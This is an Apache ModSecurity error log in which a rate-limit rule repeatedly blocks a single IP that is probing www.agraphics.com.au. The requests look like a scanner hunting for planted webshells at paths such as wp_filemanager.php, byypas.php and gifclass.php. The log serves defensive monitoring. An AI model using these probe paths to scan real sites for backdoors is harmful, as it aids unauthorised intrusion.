[Wed Apr 15 19:23:56.751075 2026] [:error] [pid 31053:tid 31073] [client 168.63.72.46:7090] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad91TBcEkLCmvF0fjDeuLgAAAJE"]
[Wed Apr 15 19:23:57.251488 2026] [:error] [pid 31053:tid 31060] [client 168.63.72.46:7069] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad91TRcEkLCmvF0fjDeuLwAAAIQ"]
[Wed Apr 15 19:23:57.764223 2026] [:error] [pid 37370:tid 37391] [client 168.63.72.46:6981] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad91TXg-gnM2Ga0cGAAJ4wAAARM"]
[Wed Apr 15 19:23:58.263477 2026] [:error] [pid 37370:tid 37390] [client 168.63.72.46:6853] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad91Tng-gnM2Ga0cGAAJ5gAAARI"]
[Wed Apr 15 19:23:58.764811 2026] [:error] [pid 37370:tid 37377] [client 168.63.72.46:6957] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad91Tng-gnM2Ga0cGAAJ6QAAAQU"]
[Wed Apr 15 19:23:59.278499 2026] [:error] [pid 30956:tid 30964] [client 168.63.72.46:7023] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad91T0BGUpjaWntNYq1hxQAAAAQ"]
[Wed Apr 15 19:23:59.799747 2026] [:error] [pid 30956:tid 30982] [client 168.63.72.46:6925] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad91T0BGUpjaWntNYq1hxwAAABY"]
[Wed Apr 15 19:24:00.342856 2026] [:error] [pid 37370:tid 37374] [client 168.63.72.46:7027] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad91UHg-gnM2Ga0cGAAJ9QAAAQI"]
[Wed Apr 15 19:24:00.859504 2026] [:error] [pid 37370:tid 37373] [client 168.63.72.46:7016] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad91UHg-gnM2Ga0cGAAJ9wAAAQE"]
[Wed Apr 15 19:24:01.385522 2026] [:error] [pid 30956:tid 30980] [client 168.63.72.46:7079] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad91UUBGUpjaWntNYq1hywAAABQ"]
[Wed Apr 15 19:24:01.895993 2026] [:error] [pid 31053:tid 31073] [client 168.63.72.46:7082] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad91URcEkLCmvF0fjDeuNgAAAJE"]
[Wed Apr 15 19:24:02.412717 2026] [:error] [pid 31053:tid 31077] [client 168.63.72.46:7009] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad91UhcEkLCmvF0fjDeuOQAAAJU"]
[Wed Apr 15 19:24:02.919855 2026] [:error] [pid 31053:tid 31080] [client 168.63.72.46:7093] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad91UhcEkLCmvF0fjDeuOwAAAJg"]
[Wed Apr 15 19:24:03.427772 2026] [:error] [pid 31053:tid 31075] [client 168.63.72.46:7037] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad91UxcEkLCmvF0fjDeuPQAAAJM"]
[Wed Apr 15 19:24:03.939674 2026] [:error] [pid 31053:tid 31073] [client 168.63.72.46:6953] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad91UxcEkLCmvF0fjDeuQgAAAJE"]
[Wed Apr 15 19:24:04.441163 2026] [:error] [pid 31053:tid 31060] [client 168.63.72.46:7034] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad91VBcEkLCmvF0fjDeuRgAAAIQ"]
[Wed Apr 15 19:24:04.956830 2026] [:error] [pid 31053:tid 31059] [client 168.63.72.46:7119] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad91VBcEkLCmvF0fjDeuSQAAAIM"]
[Wed Apr 15 19:24:05.459379 2026] [:error] [pid 30958:tid 31017] [client 168.63.72.46:6850] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad91VceG3wSKTO7NWFGOmQAAAME"]
[Wed Apr 15 19:24:05.964022 2026] [:error] [pid 30958:tid 31025] [client 168.63.72.46:6923] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad91VceG3wSKTO7NWFGOmwAAAMk"]
[Wed Apr 15 19:24:06.499592 2026] [:error] [pid 30958:tid 31029] [client 168.63.72.46:6943] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad91VseG3wSKTO7NWFGOnwAAAM0"]
[Wed Apr 15 19:24:07.004120 2026] [:error] [pid 31053:tid 31076] [client 168.63.72.46:6934] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad91VxcEkLCmvF0fjDeuSgAAAJQ"]
[Wed Apr 15 19:24:07.506566 2026] [:error] [pid 31053:tid 31063] [client 168.63.72.46:7070] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad91VxcEkLCmvF0fjDeuSwAAAIc"]
[Wed Apr 15 19:24:08.023070 2026] [:error] [pid 37370:tid 37378] [client 168.63.72.46:7025] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad91WHg-gnM2Ga0cGAAKGAAAAQY"]
[Wed Apr 15 19:24:08.523656 2026] [:error] [pid 30956:tid 30980] [client 168.63.72.46:7099] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad91WEBGUpjaWntNYq1h2wAAABQ"]
[Wed Apr 15 19:24:09.041807 2026] [:error] [pid 30956:tid 30984] [client 168.63.72.46:7020] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad91WUBGUpjaWntNYq1h3QAAABg"]
[Wed Apr 15 19:24:09.547047 2026] [:error] [pid 30958:tid 31020] [client 168.63.72.46:6935] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad91WceG3wSKTO7NWFGOowAAAMQ"]
[Wed Apr 15 19:24:10.088397 2026] [:error] [pid 31053:tid 31065] [client 168.63.72.46:6848] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad91WhcEkLCmvF0fjDeuUQAAAIk"]
[Wed Apr 15 19:24:10.589463 2026] [:error] [pid 37370:tid 37391] [client 168.63.72.46:6852] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad91Wng-gnM2Ga0cGAAKHAAAARM"]
[Wed Apr 15 19:24:11.100754 2026] [:error] [pid 37370:tid 37376] [client 168.63.72.46:7033] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad91W3g-gnM2Ga0cGAAKHwAAAQQ"]
[Wed Apr 15 19:24:11.636364 2026] [:error] [pid 30957:tid 30997] [client 168.63.72.46:6919] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad91W35gwVEVXHfVSipx4AAAAEg"]
[Wed Apr 15 19:24:12.143563 2026] [:error] [pid 31053:tid 31071] [client 168.63.72.46:6929] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad91XBcEkLCmvF0fjDeuVQAAAI8"]
[Wed Apr 15 19:24:12.645802 2026] [:error] [pid 30957:tid 30996] [client 168.63.72.46:7039] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad91XH5gwVEVXHfVSipx5AAAAEc"]
[Wed Apr 15 19:24:13.146975 2026] [:error] [pid 31053:tid 31060] [client 168.63.72.46:7103] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad91XRcEkLCmvF0fjDeuWQAAAIQ"]
[Wed Apr 15 19:24:13.646974 2026] [:error] [pid 30958:tid 31029] [client 168.63.72.46:6849] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad91XceG3wSKTO7NWFGOqAAAAM0"]
[Wed Apr 15 19:24:14.173637 2026] [:error] [pid 30957:tid 30991] [client 168.63.72.46:6877] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad91Xn5gwVEVXHfVSipx5gAAAEI"]
[Wed Apr 15 19:24:14.695439 2026] [:error] [pid 31053:tid 31077] [client 168.63.72.46:6856] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad91XhcEkLCmvF0fjDeuXQAAAJU"]
[Wed Apr 15 19:24:15.201420 2026] [:error] [pid 30958:tid 31026] [client 168.63.72.46:6885] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad91X8eG3wSKTO7NWFGOqwAAAMo"]
[Wed Apr 15 19:24:15.738797 2026] [:error] [pid 31053:tid 31062] [client 168.63.72.46:6944] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad91XxcEkLCmvF0fjDeuYgAAAIY"]
[Wed Apr 15 19:24:16.246327 2026] [:error] [pid 37370:tid 37376] [client 168.63.72.46:7004] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad91YHg-gnM2Ga0cGAAKIwAAAQQ"]
[Wed Apr 15 19:24:16.768332 2026] [:error] [pid 37370:tid 37381] [client 168.63.72.46:6997] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad91YHg-gnM2Ga0cGAAKJQAAAQk"]
[Wed Apr 15 19:24:17.295758 2026] [:error] [pid 30957:tid 31013] [client 168.63.72.46:7001] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad91YX5gwVEVXHfVSipx6AAAAFg"]
[Wed Apr 15 19:24:17.797639 2026] [:error] [pid 37370:tid 37382] [client 168.63.72.46:7068] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad91YXg-gnM2Ga0cGAAKLQAAAQo"]
[Wed Apr 15 19:24:18.336833 2026] [:error] [pid 37370:tid 37380] [client 168.63.72.46:6933] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad91Yng-gnM2Ga0cGAAKMQAAAQg"]
[Wed Apr 15 19:24:18.862070 2026] [:error] [pid 37370:tid 37373] [client 168.63.72.46:7104] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad91Yng-gnM2Ga0cGAAKNAAAAQE"]
[Wed Apr 15 19:24:19.405578 2026] [:error] [pid 30957:tid 31006] [client 168.63.72.46:6961] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad91Y35gwVEVXHfVSipx6gAAAFE"]
[Wed Apr 15 19:24:19.907019 2026] [:error] [pid 37370:tid 37383] [client 168.63.72.46:7084] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad91Y3g-gnM2Ga0cGAAKOQAAAQs"]
[Wed Apr 15 19:24:20.476243 2026] [:error] [pid 31053:tid 31072] [client 168.63.72.46:7029] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad91ZBcEkLCmvF0fjDeuYwAAAJA"]
[Wed Apr 15 19:24:20.979065 2026] [:error] [pid 37370:tid 37386] [client 168.63.72.46:6895] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad91ZHg-gnM2Ga0cGAAKQAAAAQ4"]
[Wed Apr 15 19:24:21.501935 2026] [:error] [pid 30956:tid 30972] [client 168.63.72.46:6959] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad91ZUBGUpjaWntNYq1h6QAAAAw"]
[Wed Apr 15 19:24:22.008562 2026] [:error] [pid 30957:tid 30993] [client 168.63.72.46:6998] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad91Zn5gwVEVXHfVSipx7wAAAEQ"]
[Wed Apr 15 19:24:22.543175 2026] [:error] [pid 37370:tid 37374] [client 168.63.72.46:6982] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad91Zng-gnM2Ga0cGAAKagAAAQI"]
[Wed Apr 15 19:24:23.058609 2026] [:error] [pid 37370:tid 37382] [client 168.63.72.46:6924] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad91Z3g-gnM2Ga0cGAAKfwAAAQo"]
[Wed Apr 15 19:24:23.576184 2026] [:error] [pid 30956:tid 30972] [client 168.63.72.46:6859] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad91Z0BGUpjaWntNYq1iGQAAAAw"]
[Wed Apr 15 19:24:24.078100 2026] [:error] [pid 37370:tid 37382] [client 168.63.72.46:6927] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad91aHg-gnM2Ga0cGAAKogAAAQo"]
[Wed Apr 15 19:24:24.617342 2026] [:error] [pid 37370:tid 37382] [client 168.63.72.46:6922] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad91aHg-gnM2Ga0cGAAKtAAAAQo"]
[Wed Apr 15 19:24:25.124276 2026] [:error] [pid 31053:tid 31058] [client 168.63.72.46:7126] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad91aRcEkLCmvF0fjDeuawAAAII"]
